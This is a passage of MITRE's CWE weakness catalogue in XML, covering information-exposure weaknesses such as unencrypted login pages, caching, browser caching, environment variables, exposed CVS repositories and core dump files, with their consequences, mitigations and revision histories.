						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Background_Details>
				        <Background_Detail>
					          <Text>SSL (Secure Socket Layer) provides data confidentiality and integrity to
						HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping
						or altering message contents.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Other_Notes>
				        <Note>
					          <Text>Login pages should always employ SSL to protect the user name and password
						while they are in transit from the client to the server. Lack of SSL use
						exposes the user credentials as clear text during transmission to the server
						and thus makes the credentials susceptible to eavesdropping.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Enforce SSL use for the login page or any page used to transmit user
							credentials or other sensitive information. Even if the entire site does
							not use SSL, it MUST use SSL for login. Additionally, to help prevent
							phishing attacks, make sure that SSL serves the login page. SSL allows
							the user to verify the identity of the server to which they are
							connecting. If the SSL serves login page, the user can be certain they
							are talking to the proper end system. A phishing attack would typically
							redirect a user to a site that does not have a valid trusted server
							certificate issued from an authorized supplier.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>102</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Background_Details, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="524" Name="Information Exposure Through Caching" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application uses a cache to maintain a pool of objects,
					threads, connections, pages, or passwords to minimize the time it takes to
					access them or the resources to which they connect. If implemented improperly,
					these caches can allow access to unauthorized information or cause a denial of
					service vulnerability.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect information stored in cache.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not store unnecessarily sensitive information in the cache.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider using encryption in the cache.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Caching</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="525" Name="Information Exposure Through Browser Caching" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>For each web page, the application should have an appropriate
					caching policy specifying the extent to which the page and its form fields
					should be cached.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>524</Relationship_Target_ID>
					          <!--Information Exposure Through Caching-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Browsers often store information in a client-side cache, which can
							leave behind sensitive information for other users to find and exploit,
							such as passwords or credit card numbers. The locations at most risk
							include public terminals, such as those in libraries and Internet
							cafes.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect information stored in cache.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a restrictive caching policy for forms and web pages that
							potentially contain sensitive information.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not store unnecessarily sensitive information in the cache.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider using encryption in the cache.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Access Control</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>37</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Browser Caching</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="526" Name="Information Exposure Through Environmental Variables" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Environmental variables may contain sensitive information about
					a remote server.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect information stored in environment variable from being exposed
							to the user.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Environmental Variables</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="527" Name="Exposure of CVS Repository to an Unauthorized Control Sphere" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The product stores a CVS repository in a directory or other
					container that is accessible to actors outside of the intended control
					sphere.</Description_Summary>
				        <Extended_Description>
					          <Text>Information contained within a CVS subdirectory on a web server or other
						server could be recovered by an attacker and used for malicious purposes.
						This information may include usernames, filenames, path root, and IP
						addresses.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Distribution</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Recommendations include removing any CVS directories and repositories
							from the production server, disabling the use of remote CVS
							repositories, and ensuring that the latest CVS patches and version
							updates have been performed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Information Leak Through CVS
						Repository</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="528" Name="Exposure of Core Dump File to an Unauthorized Control Sphere" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product generates a core dump file in a directory that is
					accessible to actors outside of the intended control
					sphere.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect the core dump files from unauthorized access.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that sensitive data is not written out to
						disk</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that sensitive data is not written out to
						disk</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM06-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
